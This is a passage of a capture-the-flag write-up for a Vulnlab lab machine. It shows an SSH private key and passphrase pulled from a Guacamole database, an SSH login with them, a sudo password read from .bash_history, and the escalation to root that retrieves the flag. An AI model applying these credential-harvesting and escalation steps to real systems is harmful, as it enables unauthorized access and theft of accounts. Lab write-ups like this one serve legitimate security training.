myhT5bJgl4RD5debD3og3mTITJ+zA/APuZqUv0ZmnQe9pFzYdAsztKFmqfdC4nE6
lwxzAbLKSy9WpTSX4JidAU8hajTY72Vw0Py7DhXsX7xez/JKDUQGwho55Mmu6Hj/
MiyQEKGb7V75LC7nMibNagZBXWST1FchUVmV/Diw6uNU70VzHc2BHWt4GYD6bdmS
AflADc+gcWNtOygSLHrc6dAoZQV8P2el4OvYVlNbdNH6pK26bwuG8+qmNO25MR9K
Cxs+PQCZBh3yteBkApnwIos9iP4yNMGFUDxBDAwtC3zHk2Txjv4O491+gVACShcm
JBuKLcrapO9VMm6s8TBS4hKArWTPuisi7lwrCwluLvOmLMKnOfyH8PqYyKwnew9Z
Z9zKUxZyG/cmou1DX2OXxiwPi2bS8Seulv/tV8P3QWzQmeFsVBo/wf8ZT6Ye1h8Z
OzXFU6+azokOt/14iuUbkzRNiQbSLbkkQcPJk5PiC/OetNgaSQwXFX4FHwMOClHf
iY/q49NswhXYX2g7a4MD+VgHfx9jlEoI7+bJNbLTxKsaSKHIURDfEjjiONNbJHGr
6J7TjkEHJqc+EITwJGv8e5cMz9DfEfjC1bVUKyXOHLtA+dJF/8KsTvMoUy2XBnEG
aHXXK8njMmBTIsks4CKwmWCU+NQXA97U1W20qiJYyxnY8o3SBS/aB4z+nt4cLqUw
ZZTwF9n6wEhYztvbSipmdHE/HHm6MmrEWwWREstp6KMPCFKvrm67i7QxLGKttH9o
4aNRl9mxHMvVmHARg4wI1dFxWU/niyVytjolJK/I75utNi78ksDAGYh+DwXc4D03
nMKus8DAp8nPQdCVJf70PcxEFcnPmuwOINoX0izxk21fHDyRuCMM2i335qiQVVND
-----END RSA PRIVATE KEY----- |
| 2 | username | maki_adm |
+---------------+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
9 rows in set (0.000 sec)
MariaDB [guac_db]> quit;
Bye
Found the SSH private key and the passphrase for maki_adm:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,641356448A934274F5411C859C1FE00F
kADHiHrSzLE3Qb9kotrZ/y/Hr9eNob7G2ZdhvuuFVWy3iVVJWp7ZBIzyffMRxiWU
tpGKR4xB+N49LFS8P6e3uPP+X43BCZyM1tpSv6gilHGZpZxu4BUgymb/2RnsBbFk
ZAsJ/ZqvmLH/HicFFu36+KDnuru1pOcaAiVyZMNBqBfRMtOffplK2oxSvBetiprR
TZcsOnXU3wYNBCQ5vPYeHIBwAgkjMDwWavgBBGZ8NLqis1Hv0Dwbriq/keIukNN5
cEuJTx4lahrM/Y3H61hc7MPHQATXpTpOZoUBPgG/KEyU7h1T+gWBI3CO96TJ58II
RU5dAojkD3xcQni8RsK4Erbqy86/JjkR6arhvLRtLAIVdkdH0q3MQPpVFsBaALns
o/YG1Z7zsGmnBX15cOY/6S1ItJAgnARJ8efzO8us24LN2xbAPiaRaw8LtgeCfmRm
WhLu40JVurH/CeItEfxpiQGU22cw6DoSKNo+T4G6Wn4oAs+sEODVeacYKuUoNg0h
m5GpKgZzVbtXfJ6kXd+DN5xnfJeoNiDYGb/9c++vg+qcGJdbz754ojiITAt+cOhw
55qgh0dQlDZM6vqkBlvSTpEs1jAWLPb+xuxbHkFoEVlkkXJLF6FhP1zITgVBYqzF
DW77IqIplJcdcddTryb0LAb9rdWAWDJJRAsyi/FuNe8O8CDPvZtW2lBpSxL93nmA
t9Ve9eBIvWp+mUQI+v+9eQwRyCLyNNIjSx/IkwUYYvgD5y86t2dBZpmXCaBnTaDJ
wR++9bPw/mr9zxhcVJkVyey2vRCt9LQxxNVMfPZHnptXEXAa8Z4qWHHJH+qiCT5V
ve7fY/M2SOrMgMvDldTu0PQreQE9WeGttNKe1G3PnNValgDfUlniu8J8ehSHzm/S
TY/WX3mFvljwJOHSzyF6Y5yfa8WyROtPniypnjNChwoTwFe8IsIoHWnfQMImQRV1
mGQbaYjL0PYBJFrXVCC2dRV9NGBr8/yJVaTGBUpzijnU04IuLHxSYsW3RnMyuUBN
vJxDGWMeSZw00WinWUgOIB0dI0KXV+J3uZ6Pd4IU0dcbH+wttlTkb5Mnf4QT2slh
umQDRD1Rk82NF9vSSimnJIdNjmuoTYMwraWbhYgb9tsEKnCaMaJDOPp3zWW0jRWf
RyOVJ4kHB5kQIrCFQaR0bJQ2yK09SdB3qwlZ+tDv96xur+iB4tbwqnF1+aIjE3O0
rfnF7ejQiMUk5ooUgNggWToeXA12fOUgAmP72RA/plni6tn/NkUaAKLhFp9Y1CT6
gauIJ8DjfsKEXDfVlbElgjvzdhzbetOL03z6zVQMMU8K+HXn68ggk84a8Iuo78s9
Z8ej50OxYta5h90QR1OQ3auYn6SRqfZdPW4M0Izr75DZaQ+ZlzM0DNvUfnK/npRy
OaOjg9StnNVZnZxdIafs1yqD8Wqt8Ygp9ky/DbrmTZdhYqOgmMs+ADruHHW9jitE
o8ezlJdEO9EQvxPM/PMSklNcX+l40lH1MrPcQC8TATTDIeS8uDZ6ZZuySyITWIrQ
jx1tuQ912yUGXf5dGC1HtK2rVrFi5gKFZ+vKY62zJYuBQ/VEHsSqNI3qgbb/seGx
i3KEGCNnpW1nJpNjS+GRWOwvrTwysScPcIz4FiLWBdpx+ptJo0M91gtMqZnsc+CZ
9mRK9dkPYk69GwW5aOMRlEIlRCiPySTh14oA57xXBxRQV5BLBRpxiKNKXtOnMQX1
8zbsN+E/g0OLTS08YHHObPKZTLTIPP6eTu7WiQyaZ7RENxMyvuwsm03cayryxVb7
28xlNob6/GUYV+67wAGh0dWpdIMvX/viKIFYioyK4zCGmhxoIxZNH8SDX3RflgG6
13h5eK5X0vdWNiRfNHtQc0a44SH/TS1TRNf7sbZRSlyOySsgZJ/3NUN5/K5iUti1
LUY2l79Rofw8u+10ZNeQ3wJlp2u/WqnK0K9Q3chZ3GOMUZkDgef6dDNx4mebcuIf
EfeEyKqtb6/z/ZHmdfaWuQvvL2xV/JfRHaC6IDfOhRqsWuQRHYzLKEooN1piGlqm
Th7O0wdYO00RZOudhrGW2qaFQaRqRBLJsLwDeEJ7+MqJ85n9UImk/Xn46Ut/GF4g
isaM8bj93Wi4jX1ava2bBBHzmdUxoo78oAufFsMJDlCM4YT4eXp05wWuuUDjpfib
bCHnjdL5zFXK0vGx4Ekix5mzSLzVbeLEqmjdY4hLcDXCxlso3qzl/kt+kgn4vvml
myhT5bJgl4RD5debD3og3mTITJ+zA/APuZqUv0ZmnQe9pFzYdAsztKFmqfdC4nE6
lwxzAbLKSy9WpTSX4JidAU8hajTY72Vw0Py7DhXsX7xez/JKDUQGwho55Mmu6Hj/
MiyQEKGb7V75LC7nMibNagZBXWST1FchUVmV/Diw6uNU70VzHc2BHWt4GYD6bdmS
AflADc+gcWNtOygSLHrc6dAoZQV8P2el4OvYVlNbdNH6pK26bwuG8+qmNO25MR9K
Cxs+PQCZBh3yteBkApnwIos9iP4yNMGFUDxBDAwtC3zHk2Txjv4O491+gVACShcm
JBuKLcrapO9VMm6s8TBS4hKArWTPuisi7lwrCwluLvOmLMKnOfyH8PqYyKwnew9Z
Z9zKUxZyG/cmou1DX2OXxiwPi2bS8Seulv/tV8P3QWzQmeFsVBo/wf8ZT6Ye1h8Z
OzXFU6+azokOt/14iuUbkzRNiQbSLbkkQcPJk5PiC/OetNgaSQwXFX4FHwMOClHf
iY/q49NswhXYX2g7a4MD+VgHfx9jlEoI7+bJNbLTxKsaSKHIURDfEjjiONNbJHGr
6J7TjkEHJqc+EITwJGv8e5cMz9DfEfjC1bVUKyXOHLtA+dJF/8KsTvMoUy2XBnEG
aHXXK8njMmBTIsks4CKwmWCU+NQXA97U1W20qiJYyxnY8o3SBS/aB4z+nt4cLqUw
ZZTwF9n6wEhYztvbSipmdHE/HHm6MmrEWwWREstp6KMPCFKvrm67i7QxLGKttH9o
4aNRl9mxHMvVmHARg4wI1dFxWU/niyVytjolJK/I75utNi78ksDAGYh+DwXc4D03
nMKus8DAp8nPQdCVJf70PcxEFcnPmuwOINoX0izxk21fHDyRuCMM2i335qiQVVND
-----END RSA PRIVATE KEY-----
2 | passphrase | 3V32FN6oViMPxyzC
Let go:
$ ssh -i maki_adm.key maki_adm@barrier.vl -oHostkeyAlgorithms=+ssh-rsa
Enter passphrase for key 'maki_adm.key': 3V32FN6oViMPxyzC
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-127-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Jan 5 05:45:27 AM UTC 2025
System load: 0.36 Processes: 214
Usage of /: 68.6% of 17.83GB Users logged in: 1
Memory usage: 51% IPv4 address for eth0: 10.10.73.66
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
9 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
15 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Jan 5 05:43:55 2025 from 10.8.2.19
maki_adm@barrier:~$
total 32
drwxr-x--- 4 maki_adm admin 4096 Dec 22 17:56 .
drwxr-xr-x 5 root root 4096 Dec 23 17:44 ..
-rw-r--r-- 1 root root 26 Dec 22 17:56 .bash_history
-rw-r--r-- 1 maki_adm admin 220 Dec 22 17:37 .bash_logout
-rw-r--r-- 1 maki_adm admin 3771 Dec 22 17:37 .bashrc
drwx------ 2 maki_adm admin 4096 Dec 22 17:40 .cache
-rw-r--r-- 1 maki_adm admin 807 Dec 22 17:37 .profile
drwxrwxr-x 2 maki_adm admin 4096 Dec 22 17:39 .ssh
-rw-r--r-- 1 maki_adm admin 0 Dec 22 17:56 .sudo_as_admin_successful
No flag
Quick check on bash history:
maki_adm@barrier:~$ cat .bash_history
sudo su
Va4kSjgTHSd55ZLv
Found maki_admin password
Let’s go to jump to root and get the flag Barrier_Root:
maki_adm@barrier:~$ sudo su
[sudo] password for maki_adm: Va4kSjgTHSd55ZLv
root@barrier:/home/maki_adm# ls -l /root/
total 12
drwxr-xr-x 5 root root 4096 Dec 23 17:21 authentik
-rw-r--r-- 1 root root 37 Dec 22 16:37 root.txt
drwx------ 3 root root 4096 Dec 15 15:33 snap
root@barrier:/home/maki_adm# ls /root/
authentik root.txt snap
root@barrier:/home/maki_adm# cat /root/root.txt
VL{3cc32f4047d4f1652b88e61c4d2f34e1}
Extra
Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=90f5d348-8011-4357-8425-4f4b4f1418c4
This machine has many winks to the universe of TVアニメ「呪術廻戦」- JUJUTSU KAISEN.
- 五条 悟 / Satoru GOJO
- 禪院 真希 / Maki ZENIN
- 獄門疆 / GOKUMONKYO (結界術 / Kekkai Jutsu)
